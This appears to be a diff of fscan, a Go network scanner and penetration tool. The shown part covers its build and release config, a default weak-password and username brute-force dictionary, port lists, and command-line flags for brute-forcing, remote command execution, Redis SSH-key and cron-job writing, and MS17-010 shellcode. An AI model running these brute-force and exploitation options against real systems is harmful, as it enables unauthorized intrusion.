2021-07-20 11:31:46 +08:00
影舞者 6a4bbe3781 Update mongodb.go 2021-07-20 11:30:49 +08:00
影舞者 c322700c6d Update redis.go 2021-07-20 11:29:43 +08:00
影舞者 f64b185e6d Update mongodb.go 2021-07-20 11:25:25 +08:00
lanyi 71024954e2 fix bug 2021-07-20 10:20:41 +08:00
影舞者 1499c7253a Merge pull request #73 from IanSmith123/patch-1
update
2021-07-07 09:54:11 +08:00
shadow1ng d38e38e17a 更新指纹,修改poc的bug 2021-06-30 16:26:17 +08:00
Les1ie ddb5a9f228 fix: typo in flag usage string 2021-06-30 11:07:24 +08:00
影舞者 ceb585d018 Merge pull request #70 from canc3s/main
add weblogic-console-weak
2021-06-21 17:30:29 +08:00
canc3s 3d3ecac605 add weblogic-console-weak
add weblogic-console-weak
2021-06-21 17:22:27 +08:00
shadow1ng 1437ac60ff 增加2375端口,扫描docker未授权rce漏洞 2021-06-21 10:17:29 +08:00
shadow1ng c8ec4eab79 update README.md 2021-06-18 12:31:27 +08:00
shadow1ng 80fe8548c1 update icmp 2021-06-18 11:45:47 +08:00
shadow1ng ad1c53e3f4 更新poc 2021-06-18 10:30:01 +08:00
shadow1ng a8835a9fe4 Merge remote-tracking branch 'origin/main' into main 2021-06-18 09:57:27 +08:00
影舞者 db8acb2828 Merge pull request #67 from canc3s/main
改善了poc机制和修复bug

还改善了一下poc的机制,如果识别出指纹会根据指纹信息发送poc,如果没有识别到指纹才会把所有poc打一遍
2021-06-18 09:46:54 +08:00
影舞者 288338bc9d Update go.sum 2021-06-18 09:45:13 +08:00
影舞者 0743e4cb68 Update check.go 2021-06-18 09:38:30 +08:00
影舞者 6cdf1e19dc Update go.mod 2021-06-18 09:37:23 +08:00
canc3s a427833e3f fix bug
改善了poc机制和修复bug
2021-06-17 20:32:53 +08:00
影舞者 d974523d88 Update ssh.go 2021-06-09 11:32:59 +08:00
shadow1ng c90c9272f0 update 2021-06-09 11:16:23 +08:00
影舞者 a9e78b6de3 Merge pull request #63 from 7ten7/dev
添加一个海康威视摄像头指纹
2021-06-08 11:32:54 +08:00
7TEN7 ca1e0c791c 添加一个海康威视摄像头指纹 2021-06-08 01:07:39 +08:00
shadow1ng 90ef895e0f ssh模块加入私钥连接 2021-05-31 10:03:01 +08:00
shadow1ng 162d1dd3a3 优化icmp模块 2021-05-29 20:16:01 +08:00
shadow1ng f3b0c4a6d2 update 2021-05-29 15:58:16 +08:00
shadow1ng 936c1f5395 update 2021-05-29 15:55:05 +08:00
shadow1ng 9d385eb26a 加入fcgi协议未授权命令执行扫描,优化poc模块 2021-05-29 12:13:10 +08:00
shadow1ng 61e814119d 修复ssh跳过问题 2021-05-27 14:19:21 +08:00
shadow1ng f5c9667f91 webtitle update 2021-05-20 09:34:27 +08:00
shadow1ng 4f3ff608ab webtitle模块加入chardet 2021-05-18 16:23:50 +08:00
shadow1ng 0dd41e2917 更新指纹 2021-05-16 10:47:29 +08:00
shadow1ng 7031d78439 update redeme.md 2021-05-15 11:54:17 +08:00
shadow1ng 4431b42b35 添加打印机指纹 2021-05-14 16:02:22 +08:00
shadow1ng b6133c4a55 增加-silent 静默扫描模式 2021-05-14 11:47:30 +08:00
shadow1ng ef6a196de7 增加silent 静默扫描模式 2021-05-14 10:43:26 +08:00
shadow1ng cd53258f0d 修复netbios模块数组越界 2021-05-14 10:24:04 +08:00
shadow1ng 93245a16d0 添加一个CheckErrs字典 2021-05-13 18:06:14 +08:00
shadow1ng 79aa24fc8f webtitle 增加gzip解码 2021-05-12 10:57:12 +08:00
438 changed files with 31302 additions and 19962 deletions
+64
View File
@@ -0,0 +1,64 @@
before:
hooks:
- go mod tidy
builds:
-
id: default
env:
- CGO_ENABLED=0
goos:
- windows
- linux
- darwin
- freebsd
- solaris
goarch:
- amd64
- "386"
- arm
- arm64
- mips
- mipsle
- mips64
goarm:
- "6"
- "7"
flags:
- -trimpath
ldflags:
- -s -w
upx:
-
ids: [ default ]
enabled: true
goos: ["windows", "linux"]
goarch: ["amd64", "386"]
compress: best
# lzma: true
# brute: true
archives:
-
format: binary
allow_different_binary_count: true
name_template: >-
{{- .ProjectName }}
{{- if eq .Os "darwin"}}_mac
{{- else if eq .Os "linux"}}
{{- else if eq .Os "windows"}}
{{- else }}_{{ .Os }}{{ end }}
{{- if eq .Arch "amd64" }}
{{- else if eq .Arch "386" }}32
{{- else }}_{{ .Arch }}{{ end }}
{{- if .Arm }}v{{ .Arm }}{{ end -}}
checksum:
name_template: 'checksums.txt'
snapshot:
name_template: "{{ incpatch .Version }}-next"
changelog:
sort: asc
filters:
exclude:
- '^docs:'
- '^test:'
- "^*.md"
- "^*.ya?ml"
+43
View File
@@ -0,0 +1,43 @@
name: goreleaser
on:
push:
tags:
- '*'
permissions:
contents: write
jobs:
goreleaser:
runs-on: ubuntu-latest
timeout-minutes: 60
steps:
- name: "Check out code"
uses: actions/checkout@v3
with:
fetch-depth: 0
- name: "Set up Go"
uses: actions/setup-go@v4
with:
go-version: 1.20.14
-
name: Install UPX
uses: crazy-max/ghaction-upx@v3
with:
install-only: true
- name: UPX version
run: upx --version
-
name: "Create release on GitHub"
uses: goreleaser/goreleaser-action@v4
with:
distribution: goreleaser
version: latest
args: "release --clean --debug -f .github/conf/.goreleaser.yml"
workdir: .
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+3
View File
@@ -0,0 +1,3 @@
result.txt
main
.idea
+107
View File
@@ -0,0 +1,107 @@
package Common
var version = "2.0.0"
var Userdict = map[string][]string{
"ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
"mysql": {"root", "mysql"},
"mssql": {"sa", "sql"},
"smb": {"administrator", "admin", "guest"},
"rdp": {"administrator", "admin", "guest"},
"postgresql": {"postgres", "admin"},
"ssh": {"root", "admin"},
"mongodb": {"root", "admin"},
"oracle": {"sys", "system", "admin", "test", "web", "orcl"},
}
var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789"}
var PortGroup = map[string]string{
"ftp": "21",
"ssh": "22",
"findnet": "135",
"netbios": "139",
"smb": "445",
"mssql": "1433",
"oracle": "1521",
"mysql": "3306",
"rdp": "3389",
"psql": "5432",
"redis": "6379",
"fcgi": "9000",
"mem": "11211",
"mgo": "27017",
"ms17010": "445",
"cve20200796": "445",
"service": "21,22,135,139,445,1433,1521,3306,3389,5432,6379,9000,11211,27017",
"db": "1433,1521,3306,5432,6379,11211,27017",
"web": "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880",
"all": "1-65535",
"main": "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017",
}
var Outputfile = "result.txt"
var IsSave = true
var Webport = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880"
var DefaultPorts = "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017"
type PocInfo struct {
Target string
PocName string
}
var (
Ports string
Path string
Scantype string
Command string
SshKey string
Domain string
Username string
Password string
Proxy string
Timeout int64 = 3
WebTimeout int64 = 5
TmpSave bool
NoPing bool
Ping bool
Pocinfo PocInfo
NoPoc bool
IsBrute bool
RedisFile string
RedisShell string
Userfile string
Passfile string
Hashfile string
HostFile string
PortFile string
PocPath string
Threads int
URL string
UrlFile string
Urls []string
NoPorts string
NoHosts string
SC string
PortAdd string
UserAdd string
PassAdd string
BruteThread int
LiveTop int
Socks5Proxy string
Hash string
Hashs []string
HashBytes [][]byte
HostPort []string
IsWmi bool
Noredistest bool
)
var (
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
DnsLog bool
PocNum int
PocFull bool
CeyeDomain string
ApiKey string
Cookie string
)
+93
View File
@@ -0,0 +1,93 @@
package Common
import (
"flag"
)
func Banner() {
banner := `
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` + "`" + ` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: ` + version + `
`
print(banner)
}
func Flag(Info *HostInfo) {
Banner()
// 目标配置
flag.StringVar(&Info.Host, "h", "", "目标主机IP,例如: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12")
flag.StringVar(&NoHosts, "hn", "", "排除的主机范围,例如: -hn 192.168.1.1/24")
flag.StringVar(&Ports, "p", DefaultPorts, "端口配置,例如: 22 | 1-65535 | 22,80,3306")
flag.StringVar(&PortAdd, "pa", "", "在默认端口基础上添加端口,-pa 3389")
flag.StringVar(&NoPorts, "pn", "", "排除的端口,例如: -pn 445")
// 认证配置
flag.StringVar(&UserAdd, "usera", "", "在默认用户列表基础上添加用户,-usera user")
flag.StringVar(&PassAdd, "pwda", "", "在默认密码列表基础上添加密码,-pwda password")
flag.StringVar(&Username, "user", "", "用户名")
flag.StringVar(&Password, "pwd", "", "密码")
flag.StringVar(&Domain, "domain", "", "域名(用于SMB)")
flag.StringVar(&SshKey, "sshkey", "", "SSH密钥文件(id_rsa)")
// 扫描配置
flag.StringVar(&Scantype, "m", "all", "扫描类型,例如: -m ssh")
flag.IntVar(&Threads, "t", 600, "线程数量")
flag.Int64Var(&Timeout, "time", 3, "超时时间(秒)")
flag.IntVar(&LiveTop, "top", 10, "显示存活主机数量")
flag.BoolVar(&NoPing, "np", false, "禁用存活探测")
flag.BoolVar(&Ping, "ping", false, "使用ping替代ICMP")
flag.StringVar(&Command, "c", "", "执行命令(支持ssh|wmiexec)")
// 文件配置
flag.StringVar(&HostFile, "hf", "", "主机列表文件")
flag.StringVar(&Userfile, "userf", "", "用户名字典")
flag.StringVar(&Passfile, "pwdf", "", "密码字典")
flag.StringVar(&Hashfile, "hashf", "", "Hash字典")
flag.StringVar(&PortFile, "portf", "", "端口列表文件")
// Web配置
flag.StringVar(&URL, "u", "", "目标URL")
flag.StringVar(&UrlFile, "uf", "", "URL列表文件")
flag.StringVar(&Cookie, "cookie", "", "设置Cookie")
flag.Int64Var(&WebTimeout, "wt", 5, "Web请求超时时间")
flag.StringVar(&Proxy, "proxy", "", "设置HTTP代理")
flag.StringVar(&Socks5Proxy, "socks5", "", "设置Socks5代理(将用于TCP连接,超时设置将失效)")
// POC配置
flag.StringVar(&PocPath, "pocpath", "", "POC文件路径")
flag.StringVar(&Pocinfo.PocName, "pocname", "", "使用包含指定名称的POC,例如: -pocname weblogic")
flag.BoolVar(&NoPoc, "nopoc", false, "禁用Web漏洞扫描")
flag.BoolVar(&PocFull, "full", false, "完整POC扫描,如:shiro 100个key")
flag.BoolVar(&DnsLog, "dns", false, "启用dnslog验证")
flag.IntVar(&PocNum, "num", 20, "POC并发数")
// Redis利用配置
flag.StringVar(&RedisFile, "rf", "", "Redis写入SSH公钥文件")
flag.StringVar(&RedisShell, "rs", "", "Redis写入计划任务")
flag.BoolVar(&Noredistest, "noredis", false, "禁用Redis安全检测")
// 暴力破解配置
flag.BoolVar(&IsBrute, "nobr", false, "禁用密码爆破")
flag.IntVar(&BruteThread, "br", 1, "密码爆破线程数")
// 其他配置
flag.StringVar(&Path, "path", "", "FCG/SMB远程文件路径")
flag.StringVar(&Hash, "hash", "", "Hash值")
flag.StringVar(&SC, "sc", "", "MS17漏洞shellcode")
flag.BoolVar(&IsWmi, "wmi", false, "启用WMI")
// 输出配置
flag.StringVar(&Outputfile, "o", "result.txt", "结果输出文件")
flag.BoolVar(&TmpSave, "no", false, "禁用结果保存")
flag.BoolVar(&Silent, "silent", false, "静默扫描模式")
flag.BoolVar(&Nocolor, "nocolor", false, "禁用彩色输出")
flag.BoolVar(&JsonOutput, "json", false, "JSON格式输出")
flag.Int64Var(&WaitTime, "debug", 60, "错误日志输出间隔")
flag.Parse()
}
+167
View File
@@ -0,0 +1,167 @@
package Common
import (
"encoding/json"
"fmt"
"github.com/fatih/color"
"io"
"log"
"os"
"strings"
"sync"
"time"
)
// 记录扫描状态的全局变量
var (
Num int64 // 总任务数
End int64 // 已完成数
Results = make(chan *string) // 结果通道
LogSucTime int64 // 最近成功日志时间
LogErrTime int64 // 最近错误日志时间
WaitTime int64 // 等待时间
Silent bool // 静默模式
Nocolor bool // 禁用颜色
JsonOutput bool // JSON输出
LogWG sync.WaitGroup // 日志同步等待组
)
// JsonText JSON输出的结构体
type JsonText struct {
Type string `json:"type"` // 消息类型
Text string `json:"text"` // 消息内容
}
// init 初始化日志配置
func init() {
log.SetOutput(io.Discard)
LogSucTime = time.Now().Unix()
go SaveLog()
}
// LogSuccess 记录成功信息
func LogSuccess(result string) {
LogWG.Add(1)
LogSucTime = time.Now().Unix()
Results <- &result
}
// SaveLog 保存日志信息
func SaveLog() {
for result := range Results {
// 打印日志
if !Silent {
if Nocolor {
fmt.Println(*result)
} else {
switch {
case strings.HasPrefix(*result, "[+] 信息扫描"):
color.Green(*result)
case strings.HasPrefix(*result, "[+]"):
color.Red(*result)
default:
fmt.Println(*result)
}
}
}
// 保存到文件
if IsSave {
WriteFile(*result, Outputfile)
}
LogWG.Done()
}
}
// WriteFile 写入文件
func WriteFile(result string, filename string) {
// 打开文件
fl, err := os.OpenFile(filename, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666)
if err != nil {
fmt.Printf("[!] 打开文件失败 %s: %v\n", filename, err)
return
}
defer fl.Close()
if JsonOutput {
// 解析JSON格式
var scantype, text string
if strings.HasPrefix(result, "[+]") || strings.HasPrefix(result, "[*]") || strings.HasPrefix(result, "[-]") {
index := strings.Index(result[4:], " ")
if index == -1 {
scantype = "msg"
text = result[4:]
} else {
scantype = result[4 : 4+index]
text = result[4+index+1:]
}
} else {
scantype = "msg"
text = result
}
// 构造JSON对象
jsonText := JsonText{
Type: scantype,
Text: text,
}
// 序列化JSON
jsonData, err := json.Marshal(jsonText)
if err != nil {
fmt.Printf("[!] JSON序列化失败: %v\n", err)
jsonText = JsonText{
Type: "msg",
Text: result,
}
jsonData, _ = json.Marshal(jsonText)
}
jsonData = append(jsonData, []byte(",\n")...)
_, err = fl.Write(jsonData)
} else {
_, err = fl.Write([]byte(result + "\n"))
}
if err != nil {
fmt.Printf("[!] 写入文件失败 %s: %v\n", filename, err)
}
}
// LogError 记录错误信息
func LogError(errinfo interface{}) {
if WaitTime == 0 {
fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo)
} else if (time.Now().Unix()-LogSucTime) > WaitTime && (time.Now().Unix()-LogErrTime) > WaitTime {
fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo)
LogErrTime = time.Now().Unix()
}
}
// CheckErrs 检查是否为已知错误
func CheckErrs(err error) bool {
if err == nil {
return false
}
// 已知错误列表
errs := []string{
"closed by the remote host", "too many connections",
"i/o timeout", "EOF", "A connection attempt failed",
"established connection failed", "connection attempt failed",
"Unable to read", "is not allowed to connect to this",
"no pg_hba.conf entry",
"No connection could be made",
"invalid packet size",
"bad connection",
}
// 检查错误是否匹配
errLower := strings.ToLower(err.Error())
for _, key := range errs {
if strings.Contains(errLower, strings.ToLower(key)) {
return true
}
}
return false
}
+392
View File
@@ -0,0 +1,392 @@
package Common
import (
"bufio"
"encoding/hex"
"flag"
"fmt"
"net/url"
"os"
"strconv"
"strings"
)
func Parse(Info *HostInfo) {
ParseUser()
ParsePass(Info)
ParseInput(Info)
ParseScantype(Info)
}
// ParseUser 解析用户名配置,支持直接指定用户名列表或从文件读取
func ParseUser() error {
// 如果未指定用户名和用户名文件,直接返回
if Username == "" && Userfile == "" {
return nil
}
var usernames []string
// 处理直接指定的用户名列表
if Username != "" {
usernames = strings.Split(Username, ",")
fmt.Printf("[*] 已加载直接指定的用户名: %d 个\n", len(usernames))
}
// 从文件加载用户名列表
if Userfile != "" {
users, err := Readfile(Userfile)
if err != nil {
return fmt.Errorf("读取用户名文件失败: %v", err)
}
// 过滤空用户名
for _, user := range users {
if user != "" {
usernames = append(usernames, user)
}
}
fmt.Printf("[*] 已从文件加载用户名: %d 个\n", len(users))
}
// 去重处理
usernames = RemoveDuplicate(usernames)
fmt.Printf("[*] 去重后用户名总数: %d 个\n", len(usernames))
// 更新用户字典
for name := range Userdict {
Userdict[name] = usernames
}
return nil
}
// ParsePass 解析密码、哈希值、URL和端口配置
func ParsePass(Info *HostInfo) error {
// 处理直接指定的密码列表
var pwdList []string
if Password != "" {
passes := strings.Split(Password, ",")
for _, pass := range passes {
if pass != "" {
pwdList = append(pwdList, pass)
}
}
Passwords = pwdList
fmt.Printf("[*] 已加载直接指定的密码: %d 个\n", len(pwdList))
}
// 从文件加载密码列表
if Passfile != "" {
passes, err := Readfile(Passfile)
if err != nil {
return fmt.Errorf("读取密码文件失败: %v", err)
}
for _, pass := range passes {
if pass != "" {
pwdList = append(pwdList, pass)
}
}
Passwords = pwdList
fmt.Printf("[*] 已从文件加载密码: %d 个\n", len(passes))
}
// 处理哈希文件
if Hashfile != "" {
hashes, err := Readfile(Hashfile)
if err != nil {
return fmt.Errorf("读取哈希文件失败: %v", err)
}
validCount := 0
for _, line := range hashes {
if line == "" {
continue
}
if len(line) == 32 {
Hashs = append(Hashs, line)
validCount++
} else {
fmt.Printf("[!] 无效的哈希值(长度!=32): %s\n", line)
}
}
fmt.Printf("[*] 已加载有效哈希值: %d 个\n", validCount)
}
// 处理直接指定的URL列表
if URL != "" {
urls := strings.Split(URL, ",")
tmpUrls := make(map[string]struct{})
for _, url := range urls {
if url != "" {
if _, ok := tmpUrls[url]; !ok {
tmpUrls[url] = struct{}{}
Urls = append(Urls, url)
}
}
}
fmt.Printf("[*] 已加载直接指定的URL: %d 个\n", len(Urls))
}
// 从文件加载URL列表
if UrlFile != "" {
urls, err := Readfile(UrlFile)
if err != nil {
return fmt.Errorf("读取URL文件失败: %v", err)
}
tmpUrls := make(map[string]struct{})
for _, url := range urls {
if url != "" {
if _, ok := tmpUrls[url]; !ok {
tmpUrls[url] = struct{}{}
Urls = append(Urls, url)
}
}
}
fmt.Printf("[*] 已从文件加载URL: %d 个\n", len(urls))
}
// 从文件加载端口列表
if PortFile != "" {
ports, err := Readfile(PortFile)
if err != nil {
return fmt.Errorf("读取端口文件失败: %v", err)
}
var newport strings.Builder
for _, port := range ports {
if port != "" {
newport.WriteString(port)
newport.WriteString(",")
}
}
Ports = newport.String()
fmt.Printf("[*] 已从文件加载端口配置\n")
}
return nil
}
// Readfile 读取文件内容并返回非空行的切片
func Readfile(filename string) ([]string, error) {
// 打开文件
file, err := os.Open(filename)
if err != nil {
fmt.Printf("[!] 打开文件 %s 失败: %v\n", filename, err)
return nil, err
}
defer file.Close()
var content []string
scanner := bufio.NewScanner(file)
scanner.Split(bufio.ScanLines)
// 逐行读取文件内容
lineCount := 0
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
if text != "" {
content = append(content, text)
lineCount++
}
}
// 检查扫描过程中是否有错误
if err := scanner.Err(); err != nil {
fmt.Printf("[!] 读取文件 %s 时出错: %v\n", filename, err)
return nil, err
}
fmt.Printf("[*] 成功读取文件 %s: %d 行\n", filename, lineCount)
return content, nil
}
// ParseInput 解析和验证输入参数配置
func ParseInput(Info *HostInfo) error {
// 检查必要的目标参数
if Info.Host == "" && HostFile == "" && URL == "" && UrlFile == "" {
fmt.Println("[!] 未指定扫描目标")
flag.Usage()
return fmt.Errorf("必须指定扫描目标")
}
// 配置基本参数
if BruteThread <= 0 {
BruteThread = 1
fmt.Printf("[*] 已将暴力破解线程数设置为: %d\n", BruteThread)
}
if TmpSave {
IsSave = false
fmt.Println("[*] 已启用临时保存模式")
}
// 处理端口配置
if Ports == DefaultPorts {
Ports += "," + Webport
}
if PortAdd != "" {
if strings.HasSuffix(Ports, ",") {
Ports += PortAdd
} else {
Ports += "," + PortAdd
}
fmt.Printf("[*] 已添加额外端口: %s\n", PortAdd)
}
// 处理用户名配置
if UserAdd != "" {
users := strings.Split(UserAdd, ",")
for dict := range Userdict {
Userdict[dict] = append(Userdict[dict], users...)
Userdict[dict] = RemoveDuplicate(Userdict[dict])
}
fmt.Printf("[*] 已添加额外用户名: %s\n", UserAdd)
}
// 处理密码配置
if PassAdd != "" {
passes := strings.Split(PassAdd, ",")
Passwords = append(Passwords, passes...)
Passwords = RemoveDuplicate(Passwords)
fmt.Printf("[*] 已添加额外密码: %s\n", PassAdd)
}
// 处理Socks5代理配置
if Socks5Proxy != "" {
if !strings.HasPrefix(Socks5Proxy, "socks5://") {
if !strings.Contains(Socks5Proxy, ":") {
Socks5Proxy = "socks5://127.0.0.1" + Socks5Proxy
} else {
Socks5Proxy = "socks5://" + Socks5Proxy
}
}
_, err := url.Parse(Socks5Proxy)
if err != nil {
return fmt.Errorf("Socks5代理格式错误: %v", err)
}
NoPing = true
fmt.Printf("[*] 使用Socks5代理: %s\n", Socks5Proxy)
}
// 处理HTTP代理配置
if Proxy != "" {
switch Proxy {
case "1":
Proxy = "http://127.0.0.1:8080"
case "2":
Proxy = "socks5://127.0.0.1:1080"
default:
if !strings.Contains(Proxy, "://") {
Proxy = "http://127.0.0.1:" + Proxy
}
}
if !strings.HasPrefix(Proxy, "socks") && !strings.HasPrefix(Proxy, "http") {
return fmt.Errorf("不支持的代理类型")
}
_, err := url.Parse(Proxy)
if err != nil {
return fmt.Errorf("代理格式错误: %v", err)
}
fmt.Printf("[*] 使用代理: %s\n", Proxy)
}
// 处理Hash配置
if Hash != "" {
if len(Hash) != 32 {
return fmt.Errorf("Hash长度必须为32位")
}
Hashs = append(Hashs, Hash)
}
// 处理Hash列表
Hashs = RemoveDuplicate(Hashs)
for _, hash := range Hashs {
hashByte, err := hex.DecodeString(hash)
if err != nil {
fmt.Printf("[!] Hash解码失败: %s\n", hash)
continue
}
HashBytes = append(HashBytes, hashByte)
}
Hashs = []string{}
return nil
}
// ParseScantype 解析扫描类型并设置对应的端口
func ParseScantype(Info *HostInfo) error {
// 先处理特殊扫描类型
specialTypes := map[string]string{
"hostname": "135,137,139,445",
"webonly": Webport,
"webpoc": Webport,
"web": Webport,
"portscan": DefaultPorts + "," + Webport,
"main": DefaultPorts,
"all": DefaultPorts + "," + Webport,
"icmp": "", // ICMP不需要端口
}
// 如果是特殊扫描类型
if customPorts, isSpecial := specialTypes[Scantype]; isSpecial {
if Scantype != "all" && Ports == DefaultPorts+","+Webport {
Ports = customPorts
}
fmt.Printf("[*] 扫描类型: %s, 目标端口: %s\n", Scantype, Ports)
return nil
}
// 检查是否是注册的插件类型
plugin, validType := PluginManager[Scantype]
if !validType {
showmode()
return fmt.Errorf("无效的扫描类型: %s", Scantype)
}
// 如果是插件扫描且使用默认端口配置
if Ports == DefaultPorts+","+Webport {
if plugin.Port > 0 {
Ports = strconv.Itoa(plugin.Port)
}
fmt.Printf("[*] 扫描类型: %s, 目标端口: %s\n", plugin.Name, Ports)
}
return nil
}
// showmode 显示所有支持的扫描类型
func showmode() {
fmt.Println("[!] 指定的扫描类型不存在")
fmt.Println("[*] 支持的扫描类型:")
// 显示常规服务扫描类型
fmt.Println("\n[+] 常规服务扫描:")
for name, plugin := range PluginManager {
if plugin.Port > 0 && plugin.Port < 1000000 {
fmt.Printf(" - %-10s (端口: %d)\n", name, plugin.Port)
}
}
// 显示特殊漏洞扫描类型
fmt.Println("\n[+] 特殊漏洞扫描:")
for name, plugin := range PluginManager {
if plugin.Port >= 1000000 || plugin.Port == 0 {
fmt.Printf(" - %-10s\n", name)
}
}
// 显示其他扫描类型
fmt.Println("\n[+] 其他扫描类型:")
specialTypes := []string{"all", "portscan", "icmp", "main", "webonly", "webpoc"}
for _, name := range specialTypes {
fmt.Printf(" - %s\n", name)
}
os.Exit(0)
}
+380
View File
@@ -0,0 +1,380 @@
package Common
import (
"bufio"
"errors"
"fmt"
"math/rand"
"net"
"os"
"regexp"
"sort"
"strconv"
"strings"
)
var ParseIPErr = errors.New("主机解析错误\n" +
"支持的格式: \n" +
"192.168.1.1 (单个IP)\n" +
"192.168.1.1/8 (8位子网)\n" +
"192.168.1.1/16 (16位子网)\n" +
"192.168.1.1/24 (24位子网)\n" +
"192.168.1.1,192.168.1.2 (IP列表)\n" +
"192.168.1.1-192.168.255.255 (IP范围)\n" +
"192.168.1.1-255 (最后一位简写范围)")
// ParseIP 解析IP地址配置,支持从主机字符串和文件读取
func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) {
// 处理主机和端口组合的情况 (192.168.0.0/16:80)
if filename == "" && strings.Contains(host, ":") {
hostport := strings.Split(host, ":")
if len(hostport) == 2 {
host = hostport[0]
hosts = ParseIPs(host)
Ports = hostport[1]
fmt.Printf("[*] 已解析主机端口组合,端口设置为: %s\n", Ports)
}
} else {
// 解析主机地址
hosts = ParseIPs(host)
// 从文件加载额外主机
if filename != "" {
fileHosts, err := Readipfile(filename)
if err != nil {
fmt.Printf("[!] 读取主机文件失败: %v\n", err)
} else {
hosts = append(hosts, fileHosts...)
fmt.Printf("[*] 已从文件加载额外主机: %d 个\n", len(fileHosts))
}
}
}
// 处理排除主机
if len(nohosts) > 0 && nohosts[0] != "" {
excludeHosts := ParseIPs(nohosts[0])
if len(excludeHosts) > 0 {
// 使用map存储有效主机
temp := make(map[string]struct{})
for _, host := range hosts {
temp[host] = struct{}{}
}
// 删除需要排除的主机
for _, host := range excludeHosts {
delete(temp, host)
}
// 重建主机列表
var newHosts []string
for host := range temp {
newHosts = append(newHosts, host)
}
hosts = newHosts
sort.Strings(hosts)
fmt.Printf("[*] 已排除指定主机: %d 个\n", len(excludeHosts))
}
}
// 去重处理
hosts = RemoveDuplicate(hosts)
fmt.Printf("[*] 最终有效主机数量: %d\n", len(hosts))
// 检查解析结果
if len(hosts) == 0 && len(HostPort) == 0 && (host != "" || filename != "") {
return nil, ParseIPErr
}
return hosts, nil
}
func ParseIPs(ip string) (hosts []string) {
if strings.Contains(ip, ",") {
IPList := strings.Split(ip, ",")
var ips []string
for _, ip := range IPList {
ips = parseIP(ip)
hosts = append(hosts, ips...)
}
} else {
hosts = parseIP(ip)
}
return hosts
}
// parseIP 解析不同格式的IP地址,返回解析后的IP列表
func parseIP(ip string) []string {
reg := regexp.MustCompile(`[a-zA-Z]+`)
switch {
// 处理常用内网IP段简写
case ip == "192":
return parseIP("192.168.0.0/8")
case ip == "172":
return parseIP("172.16.0.0/12")
case ip == "10":
return parseIP("10.0.0.0/8")
// 处理/8网段 - 仅扫描网关和随机IP以避免过多扫描
case strings.HasSuffix(ip, "/8"):
return parseIP8(ip)
